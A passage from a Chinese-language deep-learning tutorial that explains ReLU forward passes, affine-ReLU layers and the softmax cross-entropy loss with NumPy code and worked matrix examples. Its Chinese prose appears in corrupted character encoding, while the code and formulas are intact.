ๅœจ้š่—ๅฑ‚ไธญๅพ—ๅˆฐ็š„ๅพ—ๅˆ†็ป“ๆžœ่ฟ˜้œ€่ฆReLUๆฟ€ๆดปๅ‡ฝๆ•ฐโ€œๅˆบๆฟ€โ€ไธ€ไธ‹ๆ‰็ฎ—็ป“ๆŸใ€‚\n\nไบŽๆ˜ฏๆˆ‘ไปฌๅ†ๅฎšไน‰ `relu_forward(x) = (out, cache)` ๅ‡ฝๆ•ฐๆฅๅฎŒๆˆ่ฟ™ไธ€ๆญฅ๏ผŒๅ…ถPythonไปฃ็ ๅฐฑๆ›ด็ฎ€ๅ•ไบ†๏ผš\n\n```python\ndef relu_forward(x):\n \"\"\"\n Computes the forward pass for a layer of rectified linear units (ReLUs).\n Input:\n - x: Inputs, of any shape\n Returns a tuple of:\n - out: Output, of the same shape as x\n - cache: x\n \"\"\"\n out = np.maximum(0, x) # ๅ–xไธญๆฏไธชๅ…ƒ็ด ๅ’Œ0ๅšๆฏ”่พƒ\n cache = x\t\t\t\t # ็ผ“ๅ†ฒ่พ“ๅ…ฅ่ฟ›ๆฅ็š„x็Ÿฉ้˜ต\n return out, cache\n```\n\n**ไปฃ็ ่ฏฆ่งฃ๏ผš**\n\nๆˆ‘ไปฌๅฏไปฅๆณจๆ„ๅˆฐ๏ผŒ`np.maximum()` ๅ‡ฝๆ•ฐไธญ็š„ๆŽฅๅ—็š„ไธคไธชๅ‚ๆ•ฐไธ€ๆ ท็”จๅˆฐไบ†ๅˆšๅˆš่ฏฆ่งฃ่ฟ‡็š„Broadcastingๆœบๅˆถ๏ผšๅ‰ไธ€ไธชๅ‚ๆ•ฐๆ˜ฏๅชๆœ‰ไธ€ไธช็ปดๅบฆ็š„ๆ•ฐๅ€ผ0๏ผŒ่ขซๅปถๅฑ•ๆˆไบ†ไธ€ไธชๅ’Œ็Ÿฉ้˜ตxๅŒๆ ทshape็š„็Ÿฉ้˜ต๏ผŒ็„ถๅŽๅœจๅฏนๅบ”ๅ…ƒ็ด ไธŠๆฏ”ๅคงๅฐ(็›ธๅฝ“ไบŽ็Ÿฉ้˜ตx็š„ๆ‰€ๆœ‰ๅ…ƒ็ด ไธญๆŠŠๆฏ”0ๅฐ็š„ๅ…ƒ็ด ้ƒฝๆ›ฟๆขๆˆ0)๏ผŒๅ–่พƒๅคงๅ…ƒ็ด ๅกซๅœจๆ–ฐ็š„ๅŒshapeๅฝข็š„็Ÿฉ้˜ตoutไธญใ€‚\n\n้‚ฃไนˆ๏ผŒ็ปˆไบŽๅˆฐๆœ€ๅŽไบ†ใ€‚ไธ€ไธช้š่—ๅฑ‚ๅฑ‚็ฅž็ปๅ…ƒไปฌๅœจๆญฃๅ‘ไผ ๆ’ญไธญ็ฉถ็ซŸๅšไบ†ไป€ไนˆๅ‘ข๏ผŸ้‚ฃๅฐฑๆ˜ฏไธ‹้ขๅฎšไน‰็š„ `affine_relu_forward(x, w, b) = (out, cache)` ๅ‡ฝๆ•ฐ๏ผš\n\n```python\ndef affine_relu_forward(x, w, b):\n \"\"\"\n Convenience layer that perorms an affine transform followed by a ReLU\n\n Inputs:\n - x: Input to the affine layer\n - w, b: Weights for the affine layer\n\n Returns a tuple of:\n - out: Output from the ReLU\n - cache: Object to give to the backward pass\n \"\"\"\n a, fc_cache = affine_forward(x, w, b) # ็บฟๆ€งๆจกๅž‹\n out, relu_cache = relu_forward(a)\t# ๆฟ€ๆดปๅ‡ฝๆ•ฐ\n cache = (fc_cache, relu_cache) # ็ผ“ๅ†ฒ็š„ๆ˜ฏๅ…ƒ็ป„๏ผš(x, w, b, (a))\n return out, cache\n```\n\n่ฟ™้‡Œ่ฟ˜ๆ˜ฏ่ฆ็•™ไธชๅฟƒ็œผ๏ผŒๅฏนไบŽ่พ“ๅ‡บๅฑ‚็š„็ฅž็ปๅ…ƒไปฌๆฅ่ฏด๏ผŒไป–ไปฌๅช้œ€่ฆ็”จ `affine_forward(x, w, b)` ๅ‡ฝๆ•ฐ็ป™ๅ‡บๅพ—ๅˆ†ๅณๅฏ๏ผŒๆ— ้œ€ๅ†่ขซ\"ๆฟ€ๆดป\"ใ€‚\n\n**ๅฐ็ป“ไธ€ไธ‹๏ผš**\n\nๆˆ‘ไปฌๆ‰‹็ป˜ไธ€ๅผ ๅ›พๆฅ่ฏดๆธ…ๆฅš๏ผŒไธ€้š่—ๅฑ‚็ฅž็ปๅ…ƒไปฌๅœจๆญฃๅ‘ไผ ๆ’ญ็š„ `affine_relu_forward()` ๅ‡ฝๆ•ฐไธญ๏ผŒๆ•ฐๆฎๅ˜้‡ๅœจๆจกๅ—ไปฃ็ ไธญ็ฉถ็ซŸๆ˜ฏๅฆ‚ไฝ•ๆตๅŠจ็š„๏ผš\n\n![diy็ฅž็ป็ฝ‘็ปœ1](assets/diy็ฅž็ป็ฝ‘็ปœ1.jpeg)\n\n\n\n---\n\n## ไผ ่ฏดไธญ็š„ๅๅ‘ไผ ๆ’ญ\n\nๅ…ณไบŽไผ ่ฏดไธญ็š„ๅๅ‘ไผ ๆ’ญ๏ผŒ้ฆ–ๅ…ˆๆˆ‘ไปฌๆœ€้‡่ฆ็š„ๆ˜ฏ่ฆๆ˜Ž็™ฝ๏ผšๆˆ‘ไปฌไธบไป€ไนˆ้œ€่ฆ่ฟ™ไธชๅๅ‘ไผ ๆ’ญ๏ผŸ\n\n็„ถ่€Œ๏ผŒ่ฆๆƒณๅผ„ๆธ…ๆฅš่ฟ™็‚น๏ผŒๆˆ‘ไปฌๅฐฑ้œ€่ฆๅ›žๅคด่€ƒๅฏŸไธ‹ๆˆ‘ไปฌๆญฃๅ‘ไผ ๆ’ญไธ‹ๆœ€ๅŽ่พ“ๅ‡บๅฑ‚ๅพ—ๅˆฐ10ไธชๆ ‡็ญพ็š„่ฏ„ๅˆ†็ฉถ็ซŸๆœ‰ไป€ไนˆ็”จใ€‚่ฟ™ไธช้—ฎ้ข˜็š„็ญ”ๆกˆ๏ผŒๅฐ†ไผš็›ดๆŽฅๅผ•ๅ‡บๆ•…ไบ‹ไธญ็š„ๅฎกๅˆคๅฎ˜โ€”โ€”ๆŸๅคฑๅ‡ฝๆ•ฐใ€‚\n\nๅ‰ๆƒ…ๆ่ฆ๏ผš\n\n---\n\n![](http://www.parallelr.com/wp-content/uploads/2016/02/dnn_architecture.png)\n\nๅœจๆญฃๅ‘ไผ ๆ’ญ(ไปŽๅทฆๅ‘ๅณ)ไธญ๏ผŒ่พ“ๅ…ฅ็š„ๅ›พๅƒๆ•ฐๆฎ$x_i$(ไปฅๅŠๆ‰€ๅฏนๅบ”็š„ๆญฃ็กฎๆ ‡็ญพ$y_i$)ๆ˜ฏ็ป™ๅฎš็š„๏ผŒๅฝ“็„ถไธๅฏไฟฎๆ”น๏ผŒๅ”ฏไธ€ๅฏไปฅ่ฐƒๆ•ด็š„ๅ‚ๆ•ฐๆ˜ฏๆƒ้‡็Ÿฉ้˜ตW(ๅคงๅ†™ๅญ—ๆฏW่กจ็คบ็ฅž็ป็ฝ‘็ปœไธญๆฏๅฑ‚ๆƒ้‡็Ÿฉ้˜ตw็š„้›†ๅˆ)ๅ’Œๅ‚ๆ•ฐB(ๅคงๅ†™ๅญ—ๆฏ่กจ็คบ็ฅž็ป็ฝ‘็ปœไธญๆฏๅฑ‚ๅ็ฝฎๅ‘้‡b็š„้›†ๅˆ)๏ผŒๅณไธŠๅ›พไธญๆฏไธ€ๆก้ป‘่‰ฒ็š„็บฟๅ’Œ้ป‘่‰ฒ็š„ๅœˆใ€‚ๆ‰€ไปฅ๏ผŒๆˆ‘ไปฌๅธŒๆœ›้€š่ฟ‡่ฐƒ่Š‚ๅ‚ๆ•ฐ(W, B)๏ผŒไฝฟๅพ—ๆœ€ๅŽ่ฏ„ๅˆ†็š„็ป“ๆžœไธŽ่ฎญ็ปƒๆ•ฐๆฎ้›†ไธญๅ›พๅƒ็š„็œŸๅฎž็ฑปๅˆซไธ€่‡ด๏ผŒๅณ่พ“ๅ‡บๅฑ‚่พ“ๅ‡บ็š„่ฏ„ๅˆ†ๅœจๆญฃ็กฎ็š„ๅˆ†็ฑปไธŠๅบ”ๅฝ“ๅพ—ๅˆฐๆœ€้ซ˜็š„่ฏ„ๅˆ†ใ€‚\n\n---\n\n\n\n### ๅฎกๅˆคๅฎ˜๏ผๆŸๅคฑๅ‡ฝๆ•ฐ็™ปๅœบ๏ผ\n\nๅ›žๅˆฐไน‹ๅ‰้‚ฃๅผ ็”จๆฅๅฐ้ฒœ็š„็Œซ็š„ๅ›พๅƒๅˆ†็ฑปๆ —ๅญ๏ผŒๅฎƒๆœ‰้’ˆๅฏนโ€œ็Œซโ€๏ผŒโ€œ็‹—โ€๏ผŒโ€œ่ˆนโ€ไธ‰ไธช็ฑปๅˆซ็š„ๅˆ†ๆ•ฐใ€‚ๆˆ‘ไปฌ็œ‹ๅˆฐไพ‹ๅญไธญๆƒ้‡ๅ€ผ้žๅธธๅทฎ๏ผŒๅ› ไธบ็Œซๅˆ†็ฑป็š„ๅพ—ๅˆ†้žๅธธไฝŽ๏ผˆ-96.8๏ผ‰๏ผŒ่€Œ็‹—๏ผˆ437.9๏ผ‰ๅ’Œ่ˆน๏ผˆ61.95๏ผ‰ๆฏ”่พƒ้ซ˜ใ€‚ๆญฃๅฆ‚ไธŠๆ–‡ๆๅˆฐ็š„๏ผŒ็ฉถ็ซŸ่ฏฅๅฆ‚ไฝ•่ฎฉ่ฎก็ฎ—ๆœบ่‡ชๅŠจๅœฐๅˆคๅˆซๅพ—ๅˆ†็š„็ป“ๆžœไธŽๆญฃ็กฎๆ ‡็ญพไน‹้—ด็š„ๅทฎๅผ‚๏ผŒๅนถไธ”ๅฏน็ฅž็ป็ฝ‘็ปœๆ‰€ๆœ‰ๅ‚ๆ•ฐ็ป™ๅ‡บๆ”น่ฟ›ๆ„่งๅ‘ข๏ผŸ\n\nๆˆ‘ไปฌ่‡ชๅทฑไป…ๅ‡ญ่‚‰็œผๅ’Œ่‚‰่„‘ๅฝ“็„ถๆ˜ฏๅšไธไบ†ๅฎกๅˆคๅฎ˜็š„๏ผŒไฝ†ๆ˜ฏไธ€ไธชๅซๅš**ๆŸๅคฑๅ‡ฝๆ•ฐ๏ผˆLoss Function๏ผ‰**๏ผˆๆœ‰ๆ—ถไนŸๅซ**ไปฃไปทๅ‡ฝๆ•ฐCost Function**ๆˆ–**็›ฎๆ ‡ๅ‡ฝๆ•ฐObjective**๏ผ‰็š„ๅฏไปฅๅšๅˆฐ๏ผ็›ด่ง‚ๅœฐ่ฎฒ๏ผŒๅฝ“่พ“ๅ‡บๅฑ‚็š„่ฏ„ๅˆ†็ป™ๅ‡บ็ป“ๆžœไธŽ็œŸๅฎž็ป“ๆžœไน‹้—ดๅทฎๅผ‚่ถŠๅคง๏ผŒๆˆ‘ไปฌ็š„ๅฎกๅˆคๅฎ˜โ€”โ€”ๆŸๅคฑๅ‡ฝๆ•ฐๅฐฑไผš็ป™ๅ‡บๆ›ดๅŠ ไธฅๅŽ‰็š„ๅˆคๅ†ณ๏ผไธพ่ตทไธ€ไธชๅ†™ๆœ‰ๅพˆๅคง็š„ๅˆคๅ†ณๅˆ†ๆ•ฐ๏ผŒไปฅ่กจ็คบๅฏนๅ…ถๆœ‰ๅคšไนˆ็š„ไธๆปก๏ผๅไน‹ๅทฎๅผ‚่‹ฅ่ถŠๅฐ๏ผŒๆŸๅคฑๅ‡ฝๆ•ฐๅฐฑไผš็ป™ๅ‡บ่ถŠๅฐ็š„็ป“ๆžœใ€‚\n\nๆˆ‘ไปฌ่ฟ™้‡Œ่ฏท็š„ๆ˜ฏ**Softmaxๅˆ†็ฑปๅ™จ**๏ผˆ**ไบคๅ‰็†ตๆŸๅคฑ๏ผˆcross-entropy loss๏ผ‰**๏ผ‰ๆฅไฝœไธบๆœ€็ปˆๅพ—ๅˆ†็š„ๅฎกๅˆคๅฎ˜๏ผๅบŸ่ฏๅฐ‘่ฏด๏ผŒ็›ดๆŽฅ็œ‹ไปฃ็ ๏ผ\n\n```python\ndef softmax_loss(x, y):\n \"\"\"\n Computes the loss and gradient for softmax classification.\n Inputs:\n - x: Input data, of shape (N, C) where x[i, j] is the score for the jth class\n for the ith input.\n - y: Vector of labels, of shape (N,) where y[i] is the label for x[i] and\n 0 <= y[i] < C\n Returns a tuple of:\n - loss: Scalar giving the loss\n - dx: Gradient of the loss with respect to x\n \"\"\"\n probs = np.exp(x - np.max(x, axis=1, keepdims=True)) \t# 1\n probs /= np.sum(probs, axis=1, keepdims=True)\t\t\t# 2\n N = x.shape[0]\t\t\t\t\t\t\t\t\t\t\t# 3\n loss = -np.sum(np.log(probs[np.arange(N), y])) / N\t\t# 4\n dx = probs.copy()\n dx[np.arange(N), y] -= 1\n dx /= N\n return loss, dx\n```\n\n**ไปฃ็ ่ฏฆ่งฃ๏ผš**\n\n- `softmax_loss(x, y)` ๅ‡ฝๆ•ฐ็š„่พ“ๅ…ฅๆ•ฐๆฎๆ˜ฏshapeไธบ(N, C)็š„็Ÿฉ้˜ตxๅ’Œshapeไธบ(N, )็š„ไธ€็ปดarray่กŒๅ‘้‡yใ€‚็”ฑไบŽๆŸๅคฑๅ‡ฝๆ•ฐ็š„่พ“ๅ…ฅๆ•ฐๆฎๆฅ่‡ช็ฅž็ป็ฝ‘็ปœ็š„่พ“ๅ‡บๅฑ‚๏ผŒๆ‰€ไปฅ่ฟ™้‡Œ็š„็Ÿฉ้˜ตxไธญ็š„Nไปฃ่กจๆ˜ฏๆ•ฐๆฎ้›†ๆ ทๆœฌๅ›พ็‰‡็š„ไธชๆ•ฐ๏ผŒCไปฃ่กจ็š„ๆ˜ฏๆ•ฐๆฎ้›†็š„ๆ ‡็ญพไธชๆ•ฐ๏ผŒๅฏนๅบ”ไบŽ[CIFAR-10](http://link.zhihu.com/?target=http%3A//www.cs.toronto.edu/%7Ekriz/cifar.html)็š„่ฎญ็ปƒ้›†ๆฅ่ฏด๏ผŒx็Ÿฉ้˜ต็š„shapeๅบ”่ฏฅไธบ(50000, 10)๏ผŒๅ…ถไธญ็Ÿฉ้˜ตๅ…ƒ็ด ๆ•ฐๅ€ผๅฐฑๆ˜ฏCIFAR-10็š„่ฎญ็ปƒ้›†ๆ•ฐๆฎ็ป่ฟ‡ๆ•ดไธช็ฅž็ป็ฝ‘็ปœๅฑ‚ๅˆฐ่พพ่พ“ๅ‡บๅฑ‚๏ผŒๅฏนๆฏไธ€ๅผ ๆ ทๆœฌๅ›พ็‰‡(ๆฏ่กŒ)ๆ‰“ๅˆ†๏ผŒ็ป™ๅ‡บๅฏนๅบ”ๅ„ไธชๆ ‡็ญพ(ๆฏๅˆ—)็š„ๅพ—ๅˆ†ๅˆ†ๆ•ฐใ€‚ไธ€็ปดarray่กŒๅ‘้‡yๅ†…็š„ๅ…ƒ็ด ๆ•ฐๅ€ผๅ‚จๅญ˜็š„ๆ˜ฏ่ฎญ็ปƒๆ ทๆœฌๅ›พ็‰‡ๆ•ฐๆฎๆบ็š„ๆญฃ็กฎๆ ‡็ญพ๏ผŒๆ•ฐๅ€ผ่Œƒๅ›ดๆ˜ฏ $0\\leqslant y_i<C=10$๏ผŒไบฆๅณ $y_i=0,1,โ€ฆ,9$ใ€‚\n- ๅ‰2่กŒไปฃ็ ๅฎšไน‰ไบ†`probs`ๅ˜้‡ใ€‚้ฆ–ๅ…ˆ๏ผŒ`np.max(x, axis=1, keepdims=True)` ๆ˜ฏๅฏน่พ“ๅ…ฅ็Ÿฉ้˜ตxๅœจๆจชๅ‘ๆ–นๅ‘ๆŒ‘ๅ‡บไธ€ไธชๆœ€ๅคงๅ€ผ๏ผŒๅนถ่ฆๆฑ‚ไฟๆŒๆจชๅ‘็š„็ปดๅบฆ่พ“ๅ‡บไธ€ไธช็Ÿฉ้˜ต๏ผŒๅณ่พ“ๅ‡บไธบไธ€ไธชshapeไธบ(N, 1)็š„็Ÿฉ้˜ต๏ผŒๅ…ถๆฏ่กŒ็š„ๆ•ฐๅ€ผ่กจ็คบๆฏๅผ ๆ ทๆœฌๅ›พ็‰‡ๅพ—ๅˆ†ๆœ€้ซ˜็š„ๆ ‡็ญพๅฏนๅบ”ๅพ—ๅˆ†๏ผ›็„ถๅŽ๏ผŒๅ† `np.exp(x - ..)` ็š„ๆ“ไฝœ่กจ็คบ็š„ๆ˜ฏๅฏน่พ“ๅ…ฅ็Ÿฉ้˜ตx็š„ๆฏๅผ ๆ ทๆœฌๅ›พ็‰‡็š„ๆ‰€ๆœ‰ๆ ‡็ญพๅพ—ๅˆ†้ƒฝ่ขซๅ‡ๅŽป่ฏฅๆ ทๆœฌๅ›พ็‰‡็š„ๆœ€้ซ˜ๅพ—ๅˆ†๏ผŒๆขๅฅ่ฏ่ฏด๏ผŒๅฐ†ๆฏ่กŒไธญ็š„ๆ•ฐๅ€ผ่ฟ›่กŒๅนณ็งป๏ผŒไฝฟๅพ—ๆœ€ๅคงๅ€ผไธบ0๏ผ›ๅ†ๆŽฅไธ‹ๆฅๅฏนๆ‰€ๆœ‰ๅพ—ๅˆ†ๅ–expๅ‡ฝๆ•ฐ๏ผŒ็„ถๅŽๅœจๆฏไธชๆ ทๆœฌๅ›พ็‰‡ไธญ้™คไปฅ่ฏฅๆ ทๆœฌๅ›พ็‰‡ไธญๅ„ๆ ‡็ญพ็š„ๆ€ปๅ’Œ(`np.sum`)๏ผŒๆœ€็ปˆๅพ—ๅˆฐไธ€ไธชไธŽ็Ÿฉ้˜ตxๅŒshape็š„(N, C)็Ÿฉ้˜ตprobsใ€‚ไธŠ่ฟฐๅพ—ๅˆฐ็Ÿฉ้˜ตprobsไธญๅ…ƒ็ด ๆ•ฐๅ€ผ็š„่ฟ‡็จ‹ๅฏนๅบ”็š„ๅฐฑๆ˜ฏ**softmaxๅ‡ฝๆ•ฐ**๏ผš\n\n$$\nS_{ij}\\equiv\\frac{e^{x_{ij}}}{\\sum_je^{x_{ij}}}=\\frac{Ce^{x_{ij}}}{C\\sum_je^{x_{ij}}}=\\frac{e^{x_{ij}+\\log C}}{\\sum_je^{x_{ij}+\\log C}}\\equiv\\text{probs}\n$$\n\nๅ…ถไธญ๏ผŒๆˆ‘ไปฌๅทฒ็ปๅ–ๅฎšไบ†$C$็š„ๅ€ผ๏ผš$\\log C=-\\max_jx_{ij}$๏ผŒไธ”$x_{ij}(x;W,B)$ๅฏนๅบ”ไบŽไปฃ็ ไธญ็š„่พ“ๅ‡บๆ•ฐๆฎ็Ÿฉ้˜ตx็š„็ฌฌ $i$ ่กŒใ€็ฌฌ $j$ ๅˆ—็š„ๅพ—ๅˆ†`x[i, j]`๏ผŒๅ…ถๅ–ๅ€ผไป…ไพ่ต–ไบŽไปŽ่พ“ๅ‡บๅฑ‚่พ“ๅ…ฅๆฅ็š„ๆ•ฐๆฎ็Ÿฉ้˜ตxๅ’Œๅ‚ๆ•ฐ$(W,B)$๏ผŒๅŒ็†๏ผŒ$S_{ij}$ ่กจ็คบ็Ÿฉ้˜ตprobs็š„็ฌฌ $i$ ่กŒใ€็ฌฌ $j$ ๅˆ—็š„ๆ–ฐๅพ—ๅˆ†ใ€‚ๆˆ‘ไปฌไธพไธ€ไธช็ฎ€ๅ•3ไธชๅ›พๅƒๆ ทๆœฌ๏ผŒ4ไธชๆ ‡็ญพ็š„่พ“ๅ…ฅๆ•ฐๆฎ็Ÿฉ้˜ตx็š„ๆ —ๅญๆฅ่ฏดๆ˜Žๅพ—ๅˆ†ๆœ‰็€ๆ€Žๆ ท็š„ๅ˜ๅŒ–๏ผš\n$$\nx_{ij}\n\\equiv \n\\underbrace{\\begin{bmatrix}\n1 & 1 & 1 & 2 \\\\ \n2 & 2 & 2 & 3 \\\\ \n3 & 3 & 3 & 5 \\end{bmatrix}}_{3\\times 4}\n\n\\overset{-\\max}{\\Longrightarrow }\n\n\\underbrace{\\begin{bmatrix}\n-1 & -1 & -1 & 0 \\\\ \n-1 & -1 & -1 & 0 \\\\ \n-2 & -2 & -2 & 0 \\end{bmatrix}}_{3\\times 4}\n\\overset{\\exp}{\\Longrightarrow }\n\n\\underbrace{\\begin{bmatrix}\n0.368 & 0.368 & 0.368 & 1 \\\\ \n0.368 & 0.368 & 0.368 & 1 \\\\ \n0.135 & 0.135 & 0.135 & 1 \\end{bmatrix}}_{3\\times 4}\n\\\\\n\\overset{1/\\text{sum}}{\\Longrightarrow }\n\n\\underbrace{\\begin{bmatrix}\n0.175 & 0.175 & 0.175 & 1/2.104 \\\\ \n0.175 & 0.175 & 0.175 & 1/2.104 \\\\ \n0.096 & 0.096 & 0.096 & 1/1.405 \\end{bmatrix}}_{3\\times 4}\n\\equiv \n\\text{probs}_{ij}\n$$\nๅฏไปฅ็œ‹ๅˆฐ\"ๆ–ฐๅพ—ๅˆ†็Ÿฉ้˜ต\"probs็š„ๅ–ๅ€ผ่Œƒๅ›ดไธบ$(0,1)$ไน‹้—ด๏ผŒๅนถไธ”็Ÿฉ้˜ตๆฏ่กŒ็š„ๆ•ฐๅ€ผไน‹ๅ’Œไธบ1๏ผŒ็”ฑๆญคๅฏ็œ‹ๅ‡บๆฅๆฏๅผ ๆ ทๆœฌๅ›พ็‰‡ๅˆ†ๅธƒๅœจๅ„ไธชๆ ‡็ญพ็š„ๅพ—ๅˆ†ๆœ‰**ๆฆ‚็Ž‡**็š„ๅซไน‰ใ€‚\n\n---\n\n![](https://i.loli.net/2018/07/09/5b4377ba58239.png)\n\n่ฟ™ไธชๅ›พๆ˜ฏๅฆไธ€ไธชๅฐไพ‹ๅญๆฅ่ฏดๆ˜ŽSoftmaxๅ‡ฝๆ•ฐๅฏไปฅ้•ถๅตŒๅœจ่พ“ๅ‡บๅฑ‚ไธญ๏ผŒ็›ธๅฝ“ไบŽๅ…ถไป–้š่—ๅฑ‚็ฅž็ปๅ…ƒไปฌไธญ็š„ๆฟ€ๆดปๅ‡ฝๆ•ฐไธ€ๆ ท๏ผŒ็”จSoftmaxๅ‡ฝๆ•ฐๅฏน่พ“ๅ‡บๅฑ‚็ฎ—ๅพ—็š„ๅพ—ๅˆ†่ฟ›่กŒไบ†ไธ€ๆญฅโ€œๆฟ€ๆดปโ€ๆ“ไฝœใ€‚\n\n---\n\n\n- ๅฎšไน‰ๆŸๅคฑๅ‡ฝๆ•ฐ๏ผš `loss = -np.sum(np.log(probs[np.arange(N), y])) / N`๏ผŒ่พ“ๅ‡บๆ˜ฏไธ€ไธชscalarๆ•ฐ `loss`ใ€‚ๅ…ถๆ•ฐๅญฆๅซไน‰ๆ˜ฏ่ฟ™ๆ ท็š„\n\n$$\nL\\equiv\\sum_{i;j=y_i} L_{ij}= -\\frac{1}{N}\\sum_{i;j=y_{i}}\\log(S_{ij})= -\\frac{1}{N}\\sum_{i;j=y_{i}}\\log(\\frac{e^{x_{ij}}}{\\sum_je^{x_{ij}}})\n$$\n\nๅ…ถไธญ็š„$\\sum_{i;j=y_i} $่กจ็คบ็š„ๆ˜ฏๅฏนๆฏไธชๅ›พ็‰‡ๆญฃ็กฎๆ ‡็ญพไธ‹็š„ๅพ—ๅˆ†ๅ…จ้ƒจๆฑ‚ๅ’Œใ€‚ๅฌไธŠๅŽปๅพˆๆ™•ๆ˜ฏไธๆ˜ฏ๏ผŸ่ฟ˜ๆ˜ฏ็—›ๅฟซ็š„็ป™ไธชๆ —ๅญๅฐฑๆธ…ๆฅšไบ†๏ผš\n\n$$\n\\begin{align*}\n\\left.\\begin{matrix}\n\nS_{ij}=\\text{probs}_{ij}\n\\equiv \n\\underbrace{\\begin{bmatrix}\n0.175 & 0.175 & {\\color{Red}{0.175}} & 1/2.104 \\\\ \n{\\color{Red}{0.175}} & 0.175 & 0.175 & 1/2.104 \\\\ \n0.096 & {\\color{Red}{0.096}} & 0.096 & 1/1.405 \\end{bmatrix}}_{3\\times 4}\n\n\\\\ \ny_{i}\\equiv \\underbrace{\\begin{bmatrix}\n2 & 0 & 1 \n\\end{bmatrix}}_{1\\times 3}\n\n\\end{matrix}\\right\\} \\overset{\\text{probs[np.arange(N), y]}}{\\Longrightarrow } &\n\n\\underbrace{\\begin{bmatrix}\n{\\color{Red} {0.175}} & {\\color{Red} {0.096}} & {\\color{Red} {0.175}} \n\\end{bmatrix}}_{1\\times 3} \n\\\\\n \\overset{\\log}{\\Longrightarrow } & \\underbrace{\\begin{bmatrix}\n-1.743 & -2.343 & -1.743\n\\end{bmatrix}}_{1\\times 3} \n\\\\\n \n \\overset{\\frac{-1}{N}\\text{sum}}{\\Longrightarrow } & -\\frac{1}{3}(-1.743 -2.343 -1.743) \\Rightarrow L\n \n\\end{align*}\n$$\nไธŠๅ›พ็š„ไพ‹ๅญไพๆ—งๆ˜ฏ3ไธชๅ›พๅƒๆ ทๆœฌ๏ผŒ4ไธชๆ ‡็ญพไปŽ่พ“ๅ‡บๅฑ‚่พ“ๅ‡บๆ•ฐๆฎ็Ÿฉ้˜ตx๏ผŒๅŒๆ—ถๅˆฉ็”จๅˆฐไบ†่ฏฅไธ‰ไธชๅ›พๅƒๆ ทๆœฌ็š„ๆญฃ็กฎๆ ‡็ญพyใ€‚ๆˆ‘ไปฌ้€š่ฟ‡ๅฏนprobs็Ÿฉ้˜ต็š„ๅˆ‡็‰‡ๆ“ไฝœ๏ผŒๅณ`probs[np.arange(N), y]`๏ผŒๅ–ๅ‡บไบ†ๆฏไธชๅ›พ็‰‡ๆ ทๆœฌๅœจๆญฃ็กฎๆ ‡็ญพไธ‹็š„ๅพ—ๅˆ†(็บข่‰ฒๆ•ฐๅญ—)ใ€‚่ฟ™้‡Œๅ€ผๅพ—็•™ๆ„็š„ๆ˜ฏๅ‘้‡y็š„ๆ ‡็ญพๅ–ๅ€ผ่Œƒๅ›ด(0~9)ๅˆšๅฅฝๆ˜ฏๅฏไปฅๅฏนๅบ”ไบŽprobs็Ÿฉ้˜ตๆฏๅˆ—็š„indexใ€‚\n\n> - ่ฏฆ่งฃไธ€ไธ‹๏ผš`probs[np.arange(N), y]`\n>\n> ๅœจไพ‹ๅญไธญ๏ผŒๅฏนprobs็Ÿฉ้˜ต็กฎๅˆ‡็š„ๅˆ‡็‰‡ๅซไน‰ๆ˜ฏ `probs[np.array([0, 1 ,2]), np.array([2, 0, 1])]` \n>\n> ่ฟ™ๅฐฑๅƒๆ˜ฏๅฎšไน‰ไบ†็ป็บฌๅบฆไธ€ๆ ท๏ผŒๆŒ‡ๅฎšไบ†็กฎๅˆ‡็š„่กŒๅˆ—ๆ•ฐ๏ผŒ่ฆๆฑ‚ๅˆ‡็‰‡ๅ‡บ็›ธๅบ”็š„ๆ•ฐๅ€ผใ€‚ๅฏนไบŽไธŠ้ข็š„ไพ‹ๅญ่€Œๅทฒ๏ผŒๅฐฑๆ˜ฏ่ฏดๅ–ๅ‡บ็ฌฌ0่กŒใ€็ฌฌ2ๅˆ—็š„ๅ€ผ๏ผ›ๅ–ๅ‡บ็ฌฌ1่กŒใ€็ฌฌ0ๅˆ—็š„ๅ€ผ๏ผ›ๅ–ๅ‡บ็ฌฌ2่กŒใ€็ฌฌ1ๅˆ—็š„ๅ€ผใ€‚ไบŽๆ˜ฏ๏ผŒๅฐฑๅพ—ๅˆฐไบ†ไพ‹ๅญไธญ็š„็บข่‰ฒๅพ—ๅˆ†ๆ•ฐๅ€ผใ€‚ๅˆ‡่กŒๆ•ฐๆ—ถ๏ผŒ`np.arange(N)` ็›ธๅฝ“ไบŽๆ˜ฏ่ฏดโ€œๆˆ‘ๆฏ่กŒ้ƒฝ่ฆๅˆ‡ไธ€ไธ‹ๅ“ฆ๏ฝžโ€๏ผŒ่€Œๅˆ‡ๅˆ—ๆ•ฐๆ—ถ๏ผŒ`y` ๅ‘้‡(array)ๆ‰€ๅญ˜็š„ๆ•ฐๅ€ผๅž‹ๅˆ†็ฑปๆ ‡็ญพ(0~9)๏ผŒๅˆšๅฅฝๅฏไปฅๅฏนๅบ”ไบŽprobs็Ÿฉ้˜ตๆฏๅˆ—็š„index(0~9)๏ผŒๅฆ‚ๆžœ `y = np.array(['cat', 'dog', 'ship'])` ๏ผŒๆ˜พ็„ถไปฃ็ ่ฟ˜่ฟ™ไนˆๅ†™ๅฐฑไผšๅ‡บ้—ฎ้ข˜ไบ†ใ€‚\n\n<u>ๅ†็ฎ€ๅ•่งฃ้‡Šไธ€ไธ‹ไธŠ้ข่Žทๅพ—lossๆŸๅคฑๅ‡ฝๆ•ฐ็š„่ฟ‡็จ‹</u>๏ผšๆˆ‘ไปฌ้ฆ–ๅ…ˆๅฏน่พ“ๅ‡บๅฑ‚่พ“ๅ‡บ็š„็Ÿฉ้˜ตxๅšไบ†ไธ€ไธช\"ๆฆ‚็Ž‡ๅŒ–\"็š„rescaleๆ“ไฝœ๏ผŒๆ”นๅ†™ไธบๅŒshape็š„็Ÿฉ้˜ตprobs๏ผŒไฝฟๅพ—ๆฏๅผ ๆ ทๆœฌๅ›พ็‰‡็š„ๆญฃ็กฎๅพ—ๅˆ†ๆ•ฐๅ€ผๆ˜ฏ่ถณๅคŸๅ……ๅˆ†่€ƒ่™‘ๅˆฐไบ†ๅ…ถไป–ๆ ‡็ญพๅพ—ๅˆ†็š„(ๆฆ‚็Ž‡ๅŒ–)๏ผŒๅฏ่ง๏ผŒ**Softmaxๅˆ†็ฑปๅ™จไธบๆฏ็งๅˆ†็ฑป้ƒฝๆไพ›ไบ†โ€œๅฏ่ƒฝๆ€งโ€**๏ผ›็„ถๅŽ้’ˆๅฏน่ฟ™ไธช็Ÿฉ้˜ตprobs๏ผŒๅ–ๅ‡บๆฏไธชๆ ทๆœฌๅ›พ็‰‡็š„ๆญฃ็กฎๆ 